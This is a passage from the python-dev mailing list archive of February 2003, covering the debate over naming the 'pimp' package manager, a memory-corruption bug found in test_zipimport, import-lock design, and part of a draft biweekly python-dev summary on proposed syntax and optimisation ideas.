(or packman if you feel that it should be a funny name ;-).

jackjansen@users.sourceforge.net wrote:
> Update of /cvsroot/python/python/dist/src/Misc
> In directory sc8-pr-cvs1:/tmp/cvs-serv21478
> 
> Modified Files:
> 	NEWS 
> Log Message:
> Added notes about pimp and bundlebuilder to the Mac section.
> 
> 
> Index: NEWS
> ===================================================================
> RCS file: /cvsroot/python/python/dist/src/Misc/NEWS,v
> retrieving revision 1.660
> retrieving revision 1.661
> diff -C2 -d -r1.660 -r1.661
> *** NEWS	14 Feb 2003 19:29:21 -0000	1.660
> --- NEWS	16 Feb 2003 23:00:53 -0000	1.661
> ***************
> *** 359,362 ****
> --- 359,370 ----
>   - Type Carbon.File.FSCatalogInfo and supporting methods have been implemented.
>     This also makes macfs.FSSpec.SetDates() work again.
> +   
> + - There is a new module pimp, the package install manager for Python, and
> +   accompanying applet PackageManager. These allow you to easily download
> +   and install pretested extension packages either in source or binary
> +   form. Only in MacPython-OSX.
> +   
> + - Applets are now built with bundlebuilder in MacPython-OSX, which should make
> +   them more robust and also provides a path towards BuildApplication. 
>   
>   
> 
> 
> 
> _______________________________________________
> Python-checkins mailing list
> Python-checkins@python.org
> http://mail.python.org/mailman/listinfo/python-checkins

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 17 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     43 days left
EuroPython 2003, Charleroi, Belgium:                       127 days left



From Jack.Jansen@cwi.nl  Mon Feb 17 10:01:30 2003
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Mon, 17 Feb 2003 11:01:30 +0100
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <3E50A068.5050709@lemburg.com>
Message-ID: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl>

On Monday, Feb 17, 2003, at 09:42 Europe/Amsterdam, M.-A. Lemburg wrote:

> Jack, please change the name of that module before it's too
> late. Something like pkgman would much better fit the purpose
> (or packman if you feel that it should be a funny name ;-).

Hmm, you're the second person to state that the name pimp isn't a good 
idea.
I tend to like names with a bit of a joke in them, and there's more
Python-related names that do this (idle, piddle).

Does anyone else have an opinion on the matter?
--
Jack Jansen, <Jack.Jansen@cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma 
Goldman



From mhammond@skippinet.com.au  Mon Feb 17 11:09:17 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Mon, 17 Feb 2003 22:09:17 +1100
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl>
Message-ID: <00c201c2d675$042386b0$530f8490@eden>

> Hmm, you're the second person to state that the name pimp 
> isn't a good idea.
> I tend to like names with a bit of a joke in them, and there's more
> Python-related names that do this (idle, piddle).
> 
> Does anyone else have an opinion on the matter?

+1 on pimp from here :)

Mark.



From neal@metaslash.com  Mon Feb 17 15:02:15 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 17 Feb 2003 10:02:15 -0500
Subject: [Python-Dev] incorrect regression tests
Message-ID: <20030217150215.GN31973@epoch.metaslash.com>

I found 7 regression tests which weren't being executed by regrtest.
I checked in fixes for 6 of them.  test_zipimport was the other test,
but there was a problem.  More on that below.

To be run, tests must do one of following:

        1) have a def test_main() which runs the tests
        2) run the tests as a side-effect of import

I'm wondering if regrtest.py should grow an option to print a list of
all the tests which don't define test_main?  When adding a new test,
it will be easy to verify the test is, in fact, being run.  Perhaps
also a list of known tests which don't have a test_main and are
expected to run on import? (I think there's over 100.)

When test_zipimport is run by regrtest, there is memory corruption:

[neal@epoch 2.3]$ ./python -E -tt ./Lib/test/regrtest.py test_zipimport
test_zipimport
Debug memory block at address p=0x40280508:
    74 bytes originally requested
    The 4 pad bytes at p-4 are FORBIDDENBYTE, as expected.
    The 4 pad bytes at tail=0x40280552 are not all FORBIDDENBYTE (0xfb):
        at tail+0: 0x00 *** OUCH
        at tail+1: 0xfb
        at tail+2: 0xfb
        at tail+3: 0xfb
    The block was made by call #51959 to debug malloc/realloc.
    Data at p: 64 65 66 20 67 65 74 5f ... 69 6c 65 5f 5f 0a 00 0a
Fatal Python error: bad trailing pad byte
Aborted (core dumped)

I didn't check in the test or investigate the cause.
Below is a patch to the test so it will run under regrtest.

Neal
--
Index: test_zipimport.py
===================================================================
RCS file: /cvsroot/python/python/dist/src/Lib/test/test_zipimport.py,v
retrieving revision 1.5
diff -w -u -r1.5 test_zipimport.py
--- test_zipimport.py   9 Jan 2003 22:27:10 -0000       1.5
+++ test_zipimport.py   17 Feb 2003 14:58:45 -0000
@@ -186,6 +186,9 @@
     compression = ZIP_DEFLATED
 
 
-if __name__ == "__main__":
+def test_main():
     test_support.run_unittest(UncompressedZipImportTestCase)
     test_support.run_unittest(CompressedZipImportTestCase)
+
+if __name__ == "__main__":
+    test_main()


From gsw@agere.com  Mon Feb 17 15:10:18 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Mon, 17 Feb 2003 10:10:18 -0500
Subject: [Python-Dev] non-binary operators
In-Reply-To: <20030215155003.21726.14568.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFMEBLDDAA.gsw@agere.com>

Gary Herron wrote:
> Good point.  I've never actually used (a<b<c), but I'm pleasently
> surprised when reminded of it's existence.  There is however a
> difference. A whole string of '<' operators (or even of string of
> mixed '<' and '>' operators) can be understood by considering each
> operation in isolation as a binary operation.

Trying hard to avoid PEP 308 discussions: :-)

Yes and no. You cannot collapse the expression, so these
binary "operations" are really only partial operations.
Granted, with th*n/el*e the left-most operand participates
in both partial operations, but I'll leave that discussion
to c.l.py. I was just pointing out that there's precedent
for (a OP b OP c) != ((a OP b) OP c) != (a OP (b OP c)).

-Jerry



From tim_one@email.msn.com  Mon Feb 17 16:46:10 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Mon, 17 Feb 2003 11:46:10 -0500
Subject: [Python-Dev] incorrect regression tests
In-Reply-To: <20030217150215.GN31973@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEBPDOAB.tim_one@email.msn.com>

[Neal Norwitz]
> I found 7 regression tests which weren't being executed by regrtest.
> I checked in fixes for 6 of them.

Good catch!

> test_zipimport was the other test, but there was a problem.  More on
> that below.

Ditto.

> To be run, tests must do one of following:
>
>         1) have a def test_main() which runs the tests
>         2) run the tests as a side-effect of import

New tests should do #1 (IMO).  #2 means the import lock is held for the
duration of the test, and that can create deadlock problems (indeed, I added
the test_main() business to make it possible to run some thread tests
reliably -- besides, it's always a mental strain when "big things" happen as
a side effect).

> I'm wondering if regrtest.py should grow an option to print a list of
> all the tests which don't define test_main?  When adding a new test,
> it will be easy to verify the test is, in fact, being run.  Perhaps
> also a list of known tests which don't have a test_main and are
> expected to run on import? (I think there's over 100.)

I'm not sure how this would help unless combined with a crusade to enforce
that all tests have a test_main.  Then regrtest could simply complain when
there isn't one.

> When test_zipimport is run by regrtest, there is memory corruption:
>
> [neal@epoch 2.3]$ ./python -E -tt ./Lib/test/regrtest.py test_zipimport
> test_zipimport
> Debug memory block at address p=0x40280508:
>     74 bytes originally requested

That's an unusual # of bytes requested, because it's not divisible by 4.
Best guess is that it's string memory.

>     The 4 pad bytes at p-4 are FORBIDDENBYTE, as expected.
>     The 4 pad bytes at tail=0x40280552 are not all FORBIDDENBYTE (0xfb):
>         at tail+0: 0x00 *** OUCH
>         at tail+1: 0xfb
>         at tail+2: 0xfb
>         at tail+3: 0xfb

So code wrote \x00 into a single byte following the requested area:  best
guess now is that it's string memory and that whoever asked for it forgot to
ask for room for a trailing 0 byte.

>     The block was made by call #51959 to debug malloc/realloc.

In obmalloc.c:

"""
/* serialno is always incremented via calling this routine.  The point is
   to supply a single place to set a breakpoint.
*/
static void
bumpserialno(void)
{
	++serialno;
}
"""

If the test is deterministic, you can set a conditional breakpoint there for
when serialno reaches 51959, and catch the offending malloc/realloc call in
the act.

>     Data at p: 64 65 66 20 67 65 74 5f ... 69 6c 65 5f 5f 0a 00 0a
                  d  e  f     g  e  t  _ ...  i  l  e  _  _ \n \0 \n

It's probably relevant that test_zipimport.py contains

        def get_file():
            return __file__

in a string passed to compile() (and perhaps that Guido recently changed
compile()).



From eric@enthought.com  Mon Feb 17 18:29:31 2003
From: eric@enthought.com (eric jones)
Date: Mon, 17 Feb 2003 12:29:31 -0600
Subject: [Python-Dev] Import lock knowledge required!
In-Reply-To: <200302161745.h1GHjOD12779@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <000501c2d6b2$865eaeb0$8901a8c0@ERICDESKTOP>

> [MAL]
> > I wonder whether a general lock such as the one used in import
> > is such a good idea. Perhaps it should only lock the importing
> > of a specific module, keeping the locks in a dictionary indexed by
> > module name instead of a static C variable ?!

I am interested in this also.

> 
> [Guido]
> I've been thinking along the same lines.  We could make the import
> locking much finer-grained, and limit the blocking only to threads
> that are importing a module that is in the middle of being loaded by
> some other thread.
> 
> But this is hard work, and I suggest that we put this off until Python
> 2.4 so we can do it right.

I ran into this exact thing when trying to get wxPython windows (data
plots) to co-exist peacefully on the screen in parallel with an
interactive shell.  The module is called gui_thread, and we use it in
SciPy.

http://www.scipy.org/site_content/tutorials/gui_thread
  
The command line took the main thread, and a wxPython app was started in
the background thread.  The first import of wxPython had to occur in the
background thread for wxPython's to be happy.  Initially, I put a lock
in the import of gui_thread which waited for the wxPython import to
complete before allowing the gui_thread import to complete.  If 'import
gui_thread' is the first statement executed, this guarantees that
wxPython is always imported first in the background thread.
Unfortunately, it also causes deadlock because of the import lock.

A discussion that occurred about this problem on the thread-sig with is
summarized here:

http://www.scipy.org/site_content/tutorials/import_thread_lock_discussio
n

It includes an alternative version of several import.c routines
(compared to 1.5.2 I believe) that solved my problem as proposed by MAL
above and passed all the regression tests at the time.  I just plugged
the code into the 2.3CVS, and it mainly works.  But, there are some
import related errors in the regression tests for: 

test_threaded_import
test_loggingllbacks


I could spend some time on these if there is interest in getting this in
the current release.  Also, this code would need review by someone that
is an expert on the subtleties of the import code to make sure it is
sound.  Let me know, and I'll submit a patch with of the current code.

eric





From bac@OCF.Berkeley.EDU  Mon Feb 17 18:51:16 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 17 Feb 2003 10:51:16 -0800 (PST)
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl>
References: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl>
Message-ID: <Pine.SOL.4.53.0302171049540.27276@death.OCF.Berkeley.EDU>

[Jack Jansen]

>
> Hmm, you're the second person to state that the name pimp isn't a good
> idea.
> I tend to like names with a bit of a joke in them, and there's more
> Python-related names that do this (idle, piddle).
>
> Does anyone else have an opinion on the matter?

+1 on pimp.

-Brett


From mal@lemburg.com  Mon Feb 17 19:06:37 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 17 Feb 2003 20:06:37 +0100
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <Pine.SOL.4.53.0302171049540.27276@death.OCF.Berkeley.EDU>
References: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl> <Pine.SOL.4.53.0302171049540.27276@death.OCF.Berkeley.EDU>
Message-ID: <3E5132BD.9050306@lemburg.com>

Brett Cannon wrote:
> [Jack Jansen]
> 
>>Hmm, you're the second person to state that the name pimp isn't a good
>>idea.
>>I tend to like names with a bit of a joke in them, and there's more
>>Python-related names that do this (idle, piddle).
>>
>>Does anyone else have an opinion on the matter?
> 
> +1 on pimp.

I am surprised. piddle and idle are OK, since they are harmless,
but I do believe that getting Python packages via a "pimp" is a
bit over the top.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 17 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     43 days left
EuroPython 2003, Charleroi, Belgium:                       127 days left



From whisper@oz.net  Mon Feb 17 19:15:31 2003
From: whisper@oz.net (David LeBlanc)
Date: Mon, 17 Feb 2003 11:15:31 -0800
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <3E5132BD.9050306@lemburg.com>
Message-ID: <GCEDKONBLEFPPADDJCOEOEIBIEAA.whisper@oz.net>

>
> I am surprised. piddle and idle are OK, since they are harmless,
> but I do believe that getting Python packages via a "pimp" is a
> bit over the top.
>
> --
> Marc-Andre Lemburg
> eGenix.com

But idle is a waste of time and piddle leaves smelly stains on the carpet -
at least with a pimp you get something that's fun to play with ;)

Dave LeBlanc
Seattle, WA USA



From bac@OCF.Berkeley.EDU  Mon Feb 17 20:56:15 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 17 Feb 2003 12:56:15 -0800 (PST)
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <3E5132BD.9050306@lemburg.com>
References: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl>
 <Pine.SOL.4.53.0302171049540.27276@death.OCF.Berkeley.EDU> <3E5132BD.9050306@lemburg.com>
Message-ID: <Pine.SOL.4.53.0302171254180.7173@death.OCF.Berkeley.EDU>

[M.-A. Lemburg]

> Brett Cannon wrote:
> > +1 on pimp.
>
> I am surprised. piddle and idle are OK, since they are harmless,
> but I do believe that getting Python packages via a "pimp" is a
> bit over the top.
>

I just don't view it as that insulting.  In America it has become a slang
term to mean something is cool; "That's so pimp!"

-Brett


From mal@lemburg.com  Mon Feb 17 22:59:04 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 17 Feb 2003 23:59:04 +0100
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <Pine.SOL.4.53.0302171254180.7173@death.OCF.Berkeley.EDU>
References: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl>	<3E5132BD.9050306@lemburg.com> <Pine.SOL.4.53.0302171254180.7173@death.OCF.Berkeley.EDU>
Message-ID: <3E516938.5070500@lemburg.com>

Brett Cannon wrote:
> [M.-A. Lemburg]
> 
>>Brett Cannon wrote:
>>
>>>+1 on pimp.
>>
>>I am surprised. piddle and idle are OK, since they are harmless,
>>but I do believe that getting Python packages via a "pimp" is a
>>bit over the top.
> 
> I just don't view it as that insulting.  In America it has become a slang
> term to mean something is cool; "That's so pimp!"

I don't think that's going to fly... just think of a
user manual: "Please use the pimp for your platform to
download piddle from the Internet. After successful
operation, click on idle to start off into working mode."

Must be a cultural thing...
-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 17 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     43 days left
EuroPython 2003, Charleroi, Belgium:                       127 days left



From bac@OCF.Berkeley.EDU  Mon Feb 17 23:03:37 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 17 Feb 2003 15:03:37 -0800 (PST)
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <3E516938.5070500@lemburg.com>
References: <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl> <3E5132BD.9050306@lemburg.com>
 <Pine.SOL.4.53.0302171254180.7173@death.OCF.Berkeley.EDU> <3E516938.5070500@lemburg.com>
Message-ID: <Pine.SOL.4.53.0302171502350.16007@death.OCF.Berkeley.EDU>

[M.-A. Lemburg]

> Brett Cannon wrote:
> > [M.-A. Lemburg]
> >
> >>Brett Cannon wrote:
>
> I don't think that's going to fly... just think of a
> user manual: "Please use the pimp for your platform to
> download piddle from the Internet. After successful
> operation, click on idle to start off into working mode."
>

It probably won't in the end.  But I still think it is funny.

> Must be a cultural thing...

Or just me still acting like a college student.

-Brett


From brett@python.org  Mon Feb 17 23:07:00 2003
From: brett@python.org (Brett Cannon)
Date: Mon, 17 Feb 2003 15:07:00 -0800 (PST)
Subject: [Python-Dev] python-dev Summary for 2003-02-01 through 2003-02-15
Message-ID: <Pine.SOL.4.53.0302171503400.16007@death.OCF.Berkeley.EDU>

OK, so I finally managed to finish the Summary.  Needless to say it took a
while with the amount of traffic going on.  A special thanks to Samuele
for a technical summary that he wrote that helped with the surprising
brief summary of all the do/with/thunk/'kitchen sink' thread.

As usual, the list gets about 24 hours to point out various flaws and
such.  But since I am visiting family it will probably be more than 24
hours before I send this out to the rest of the world, so no big rush.  =)

And, as usual, any missing extended characters that should be there are
probably in the original; Pine doesn't like playing nicely with the rest
of the world and their funky letters.  =)

++++++++++++++++++++++++++++++++++++++++++++++++++++++
python-dev Summary from 2003-02-01 through 2003-02-15
++++++++++++++++++++++++++++++++++++++++++++++++++++++


.. _SourceForge: http://www.sf.net/

======================
Summary Announcements
======================

I just realized how much regex syntax I use in the summaries.  You might
help you read the summaries if you know it.  =)

I renamed the 'Skipped Threads' section that I introduced in the last
section to 'Quickies' since they are not really skipped but are just
"quickie" summaries that I don't feel warrant a full-blown summary (or I
was just feeling lazy  =).


==================================
`Acquire/release functionality`__
==================================
__ http://mail.python.org/pipermail/python-dev/2003-February/032752.html

Splinter threads:
    - `Extended Function syntax
<http://mail.python.org/pipermail/python-dev/2003-February/032694.html>`__
    - `exec/with thunk-handling proposal
<http://mail.python.org/pipermail/python-dev/2003-February/032800.html>`__
    - `Extended Function syntax (PEP time)
<http://mail.python.org/pipermail/python-dev/2003-February/032775.html>`__
    - `With statement
<http://mail.python.org/pipermail/python-dev/2003-February/032900.html>`__
    - `Pre-PEP: with syntax
<http://mail.python.org/pipermail/python-dev/2003-February/033264.html>`__

As part of the massive thread that caused some hoopla on the list about
how to try to keep info manageable on the list, a suggested syntax for an
acquire/release setup came up.  It basically defines a way to have a
method called before the beginning of the execution of a block of code and
then a method to be called when the block is finished.  It uses a
suggested keyword 'with'.

Read `PEP 310`_ for all the details (thanks to Paul Moore and Michael
Hudson for writing the PEP; I would have gone insane summarizing this!).

.. _PEP 310: http://www.python.org/peps/pep-0310.html


=============================
`Extended Function syntax`__
=============================
__ http://mail.python.org/pipermail/python-dev/2003-February/032694.html

Splinter threads:
    - `Property syntax
<http://mail.python.org/pipermail/python-dev/2003-February/032763.html>`__
    - `question???
<http://mail.python.org/pipermail/python-dev/2003-February/032767.html>`__

Thanks goes to Samuele Pedroni for writing up a technical summary of all
of this and sending me a copy.

This whole thread started up over a suggested extended synatax for
functions::

 def fxn(args) [fun1, fun2, ..., funX]:
    ...code...

This was to be equivalent to::

 fxn = funX(...(fun2(fun1(fxn)))...)

This came up as a way to make it easier for using things such as
property(), classmethod(), and staticmethod() since you could define
things as::

  def fxn(args) [staticmethod]:
      ...code...

A variant on all of this that was proposed was::

 def fxn(args) as fun1, fun2, ..., funX:
      ...code...

or::

 def fxn(args) is fun1, fun2, ..., funX:
      ...code...


The two proposed syntaxes above were suggested to be made very general so
that you could do something like::

 def fxn(args) as function:
      ...code...

And since this was all about how make using property() easier,
property-specific suggestions included:

 class klass(object):
     property prup:
         ...code...

or::

 class klass(object):
     def prup as property:
          ...code...

The problem with the former is that it requires turning "property" into a
keyword.

None of these are PEPs yet nor have had BDFL pronouncement.


===========
`thunks`__
===========
__ http://mail.python.org/pipermail/python-dev/2003-February/032828.html

Splinter threads:
    - `Extended Function syntax
<http://mail.python.org/pipermail/python-dev/2003-February/032694.html>`__
    - `exec/with thunk-handling proposal
<http://mail.python.org/pipermail/python-dev/2003-February/032800.html>`__

Thanks to Samuele Pedroni for providing me a technical summary that I was
able to use to help write this summary.

The concept of adding thunks to Python came up through the extended
function syntax thread (in case you don't know what a thunk is, you can
think of it as a chunk of code that is compiled and ready to use but is
not executed until a later time).  Some suggested syntaxes were::

 lvalue = thunk(args):
     ...code...

or::

 do lvalue = thunk(args):
     ...code...

The lvalues would be optional.  As with the extended function syntax, no
PEPs have been done nor any BDFL pronouncements.


===========================
`Capabilities in Python`__
===========================
__ http://mail.python.org/pipermail/python-dev/2003-February/032690.html

Splinter threads:
	- `Property Syntax
<http://mail.python.org/pipermail/python-dev/2003-February/032763.html>`__

Continuation of `Capabilities in Python`_ from the `last summary`_.

After comments were made that the way capabilities were described earlier
in the thread were strange, Ben Laurie got to the point and said that if
he gets "secure bound methods" he will have what he wants.  Going with the
ticket analogy that was used earlier, Ben said that he didn't like having
an intermediate ticket checker like the proxies used by Zope; the "ticket
is the method".

Jeremy commented on some of Ben and Ka-Ping Yee's comments.  It seems that
security code is sprinkled throughout the interpreter; centralizing it
would help secure Python.

The thread stopped on python-dev (the emails suggested the discussion was
taken off-list) with no specific plans on changes.

.. _Capabilities in Python:
http://www.python.org/dev/summary/2003-01-16_2003-01-31.html#capabilities-in-python
.. _last summary:
http://www.python.org/dev/summary/2003-01-16_2003-01-31.html


==========================
`native code compiler?`__
==========================
__ http://mail.python.org/pipermail/python-dev/2003-February/032780.html

Ignoring all the emails that were in direct relation in dealing with the
whole mini-flame war that this thread started on, it did lead to a bet
between Guido and Dan Sugalski over whether Parrot_ or CPython would run a
standard Python benchmark suite the fastest.  The stakes are $10, a round
of beer for the winning development team, and a pie in the face of the
loser.

Since python-dev's honor is partially at stake, various ideas came up
about how to speed up the core.  One idea was to inline built-in functions
by giving them their own bytecode.  So, for instance, len() might be
inlined in bytecode as BUILTIN_LEN instead of having to bother with a
function call to the actual len() code in the core.

Another suggestion was to continue work on namespace access.  These are
covered in `PEP 266`_, `PEP 267`_, and `PEP 280`_.  Guido also suggested
"not to allow binding *new* globals *if* they shadow certain builtins" so
as to save on the name lookup.

Skip Montanaro mentioned his `peephole optimizer`_.

There was also a mention of rattlesnake_; a register-based VM that Skip
started and Neil Schemenauer picked up.

Taking a fresh look at PyEval_EvalCodeEx_ was also mentioned since a great
expense is setting up a function call.


.. _Parrot: http://www.parrotcode.org
.. _PEP 266: http://www.python.org/peps/pep-0266.html
.. _PEP 267: http://www.python.org/peps/pep-0267.html
.. _PEP 280: http://www.python.org/peps/pep-0280.html
.. _peephole optimizer:
http://www.musi-cal.com/~skip/python/spam7/optimizer.html
.. _rattlesnake:
http://www.musi-cal.com/~skip/python/rattlesnake20010813.tar.gz
.. _PyEval_EvalCodeEx:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Python/ceval.c

=================
`trying times`__
=================
__ http://mail.python.org/pipermail/python-dev/2003-February/032938.html

Splinter threads:
    - `Why did Fredrik leave the party?
<http://mail.python.org/pipermail/python-dev/2003-February/032947.html>`__
    - `who uses new language features?
<http://mail.python.org/pipermail/python-dev/2003-February/033028.html>`__
    - `trying times thunks
<http://mail.python.org/pipermail/python-dev/2003-February/032994.html>`__
    - `Shame on us all!
<http://mail.python.org/pipermail/python-dev/2003-February/032975.html>`__
    - `How to troll python-dev
<http://mail.python.org/pipermail/python-dev/2003-February/033056.html>`__
    - `How to lose potential users/developers
<http://mail.python.org/pipermail/python-dev/2003-February/033062.html>`__

During the whole with/do/thunk thread and another thread from a
disgruntled person who didn't like how the list responded to his email,
Samuele Pedroni let the list know that Fredrik Lundh (a.k.a. effbot) had
unsubscribed from python-dev, disillusioned with how things had ended up.

There was a suggestion to spin a list off of python-dev that handled
"blue-sky" discussions.  This was basically killed because most people who
would subscribe to the new list would be subscribed to python-dev and thus
would basically a moot point.

There are two things to be learned from this thread.  One is to make sure
you change the subject line of an email when you are replying to an email
but changing the focus.  The other is to make sure not to say anything in
an email that comes off as accusatory.  One of the reasons this whole
email thread turned negative was that a statement made in the initial
email was received as condescending and questioning the abilities of
python-dev when trying to guess as to why something had not been
implemented.  It is best to ask why something has not been done then ask
and then immediately wager an answer to your own question.


=============================
`Fixed-point numeric type`__
=============================
__ http://mail.python.org/pipermail/python-dev/2003-February/032965.html

Splinter threads:
    - `Why did Fredrik leave the party?
<http://mail.python.org/pipermail/python-dev/2003-February/032947.html>`__
    - `FixedPoint and % specifiers.
<http://mail.python.org/pipermail/python-dev/2003-February/033044.html>`__

Michael McLay brought up the point that although FixedPoint had received
BDFL pronouncement for inclusion into the stdlib, it still had no happen.
It was then pointed out that no one had put the effort into doing the work
necessary to make sure that the package was ready to be added.

A discussion then started amongst some people about some details of the
package.  There was a discussion of naming of certain methods and such.
One conclusion that was reached before the discussion was taken off-list
was that the package's interface should be minimized and kept as simple as
possible while still being useful.

.. _FixedPoint: http://fixedpoint.sf.net/


========================================
`Passing floats to "i" parser marker`__
========================================
__ http://mail.python.org/pipermail/python-dev/2003-February/032969.html

MA Lemburg brought up the question of what the ramifications will be with
`PyArg_Parse()`_ issuing a DeprecationWarning instead of TypeError when a
float is passed as an argument where "i" is used as the argument type.
What causes this to not be cut and dry is that floats have an __int__
method that actually loses information so you can't just use int() to do
conversions and still have the same value.

Guido said that, in hindsight, there should have been a function that
converts an int-like objects to real ints and another to convert floats to
ints; this separates conversions that might lose information.  He also
said that eventually "i" will raise a TypeError when less code will be
broken by this behavior.

The history of how the "i" argument marker was given.  Apparently, way
back when, someone said that "i" should not only accept true ints as it
did in its first incarnation.  So having it use __int__ was added.
Unfortunately no one realized that float implemented __int__ and obviously
floats for things such as indexing are not reasonable.  Raising a warning
is a step towards eliminating this wart.

The acronym YAWTM (You Are Worrying Too Much) and its snarky younger
brother YADWTM (You are DEFINITELY Worrying Too Much) were also brought
into this world in this thread.

.. _PyArg_Parse():
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Python/getargs.c


===================================================================================
`Python 2.3a1's mandatory use of cyclic GC causes existing applications to
fail`__
===================================================================================
__ http://mail.python.org/pipermail/python-dev/2003-February/033020.html

Splinter threads:
    - `__slots__
<http://mail.python.org/pipermail/python-dev/2003-February/033115.html>`__

Robert Ledwith wished that Python 2.3 would support the --without-cycle-gc
compile option that is scheduled to be eliminated; objects would have a
smaller footprint and was faster.

The reason the option was removed in the first place was that the code for
the trashcan (handles the deallocation of objects) "is nearly obvious when
we can rely on gc being there".  With GC turned off extension modules
cannot use the trashcan without editing the source of Python itself.

Christian Tismer (who wrote the trashcan code) said that it could actually
choose whether or not to take in an object based on its type.  So what
could happen is there could be a non-GC type that would cause the object
to not even interact the trashcan and thus not complicate the code.  The
leading idea was to have a nogcobject that acted as the "true" root object
which 'object' inheriting from nogcobject while causing GC to be used.

It was also pointed out that __slots__ saves a lot of space on objects
when used.  It was then suggested that you be able to specify the type of
each thing in __slots__ since that would save even more space when the
type is a simple one.  Guido said that it seemed a new name would be
needed for this attribute.  He also said that the idea allowing you to
specify the order of the objects was good.

==========================================
`Pre-PEP: Mutable keys in dictionaries`__
==========================================
__ http://mail.python.org/pipermail/python-dev/2003-February/033043.html

Just van Rossum posted a rough PEP proposing a new protocol to allow
mutable objects as keys in dictionaries.  His suggestion was that if an
object was mutable the dictionary's __setitem__() would call the key's
__immutable_copy__() and use that as the key.  The dict's __contains__()
would use __temporary_immutable__() from the object (this is needed so as
to return something that defines __eq__() and __hash__() in order to be
able to do the comparison against other keys).  Just claimed that putting
this in 'would add no overhead for the "normal" case (when keys _are_
directly hashable)'.

The question of whether this would be thread-safe was raised.  Just said
it would be for Python code thanks "to the wonders of the Global
Interpreter Lock".

Guido responded that he didn't think implementing this would have no
performance hit.  If anything, he thought that it "may reduce code
locality and hence cause the code to miss the cache more often than
before".  He suggested just coming up with a subclass of dict that
implemented this.  That was not an option, though, because the entire
reason for this was to make dicts work more easily with PyObjC_ and thus
would need to be built in.  So Guido ended up asking Just to implement it
and benchmark it to see what kind of hit was taken.

.. _PyObjC: http://pyobjc.sf.net/


======================
`Trinary Operators`__
======================
__ http://mail.python.org/pipermail/python-dev/2003-February/033061.html

Splinter threads:
    - `Quantifiers
<http://mail.python.org/pipermail/python-dev/2003-February/033201.html>`__
    - `vox populii illiterati
<http://mail.python.org/pipermail/python-dev/2003-February/033207.html>`__
    - `Vote-Pop
<http://mail.python.org/pipermail/python-dev/2003-February/033263.html>`__
    - `For review: PEP 308 - If-then-else expression
<http://mail.python.org/pipermail/python-dev/2003-February/033178.html>`__
    - `PEP 308
<http://mail.python.org/pipermail/python-dev/2003-February/033234.html>`__
    - `Update to PEP308:  if-then-else expression
<http://mail.python.org/pipermail/python-dev/2003-February/033318.html>`__
    - `some data on the debate
<http://mail.python.org/pipermail/python-dev/2003-February/033336.html>`__

A thread on `comp.lang.python`_ sprung up about adding a ternary operator
to Python (yes, the title says "Trinary Operators", but that is apparently
not technically correct).  In case you are not a C programmer, the ternary
operator can be thought of an if/else statement that acts like an
expression (it's the ``<cond>?<true stmt>:<false stmt>`` syntax from C).
Another way of thinking of it is as an if/else statement that is inlined.

Guido was sick of this debate coming up, so he wrote `PEP 308`_ on the
subject and has left it up to comp.lang.python to argue this one out (he
actually explicitly said not to discuss it on python-dev) and decide on
the final fate of this idea.  If you have an opinion voice it on
comp.lang.python since this will also be used as a test to see if more
things should be put on c.l.py for discussion instead of python-dev.

As of this writing, Samuele Pedroni updated the list on posting stats for
those of us who don't follow c.l.py.  Two syntactic choices are currently
in the running (this is ignoring objections to the whole idea).  One is
``if <cond>: <true stmt> else: <false stmt>`` and the other is ``<cond> ??
<true stmt> || <false stmt>``.

.. _PEP 308: http://www.python.org/peps/pep-0308.html
.. _comp.lang.python: http://groups.google.com/groups?q=comp.lang.python


============================================================
`For review: PEP 307 - Extensions to the pickle protocol`__
============================================================
__ http://mail.python.org/pipermail/python-dev/2003-February/033182.html

Splinter threads:
    - `pickle me, Elmo?
<http://mail.python.org/pipermail/python-dev/2003-February/033294.html>`__

